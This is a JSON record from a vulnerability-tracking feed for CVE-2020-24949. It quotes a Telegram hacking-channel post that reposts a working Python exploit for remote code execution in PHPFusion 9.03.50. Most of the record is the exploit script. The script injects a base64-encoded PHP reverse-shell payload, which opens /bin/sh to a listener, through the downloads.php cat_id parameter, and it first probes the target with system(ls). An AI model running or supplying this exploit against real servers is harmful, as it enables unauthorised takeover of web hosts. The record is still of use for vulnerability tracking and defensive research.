{"uuid": "07d40ae9-381e-46b2-8e27-ec64df8621c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-24949", "type": "seen", "source": "https://t.me/hacking_Attack/10499", "content": "Exploit Collector\nPHPFusion 9.03.50 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png \nPHPFusion version 9.03.50 suffers from a remote code execution vulnerability.\n\nMD5 | 7b268932c3f92c2d35fb62cadc94ca0d\n\nDownload\n# Exploit Title: PHPFusion 9.03.50 - Remote Code Execution\n# Date: 20/05/2021\n# Exploit Author: g0ldm45k\n# Vendor Homepage: https://www.php-fusion.co.uk/home.php\n# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30&download_id=606\n# Version: 9.03.50\n# Tested on: Docker + Debian GNU/Linux 8 (jessie)\n# CVE : CVE-2020-24949\n# Found by: ThienNV\n\nimport requests\nimport base64\nimport argparse\nPAYLOAD = \"php -r '$sock=fsockopen(\\\"127.0.0.1\\\",4444);exec(\\\"/bin/sh -i <&4&4 2>&4\\\");'  \" # !!spaces are important in order to avoid ==!!\nREQUEST_PAYLOAD = \"/infusions/downloads/downloads.php?cat_id=$\\{{system(base64_decode({})).exit\\}}\"\nparser = argparse.ArgumentParser(description='Send a payload to a Fusion 9.03.50 server with \"Allow PHP Execution\" enabled.')\nparser.add_argument('target', type=str, help='Turn the Allow PHP Execution verification step on or off.')\nparser.add_argument(\"-v\", \"--no-verify\", action=\"store_false\")\n\nargs = parser.parse_args()\n\nif args.target.startswith(\"http://\") or args.target.startswith(\"https://\"):\ntarget = args.target\nelse:\nprint(\"[!] Target should start with either http:// or https://\")\nexit()\n\n# verify payload\nPAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode(\"ascii\")\nif '+' in PAYLOAD_B64 or '=' in PAYLOAD_B64:\nprint(\"[!] Invalid payload, make sure it does not contain a + or a =!\")\nexit()\n\n# verify vulnerable host\nif args.no_verify:\npage_data = requests.get(target + \"/infusions/downloads/downloads.php?cat_id=${system(ls)}\")\nif \"infusion_db.php\" not in page_data.text:\nprint(\"[!] Can't seem to find infusion_db.php. QUITTING!\")\nprint(\"[!] If this validation is wrong just use the --no-verify flag.\")\nexit()\n# send request\nrequests.get(target + REQUEST_PAYLOAD.format(PAYLOAD_B64))\n\nprint(\"[*] Requests send, did you get what you wanted?\")\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:17.363986Z"}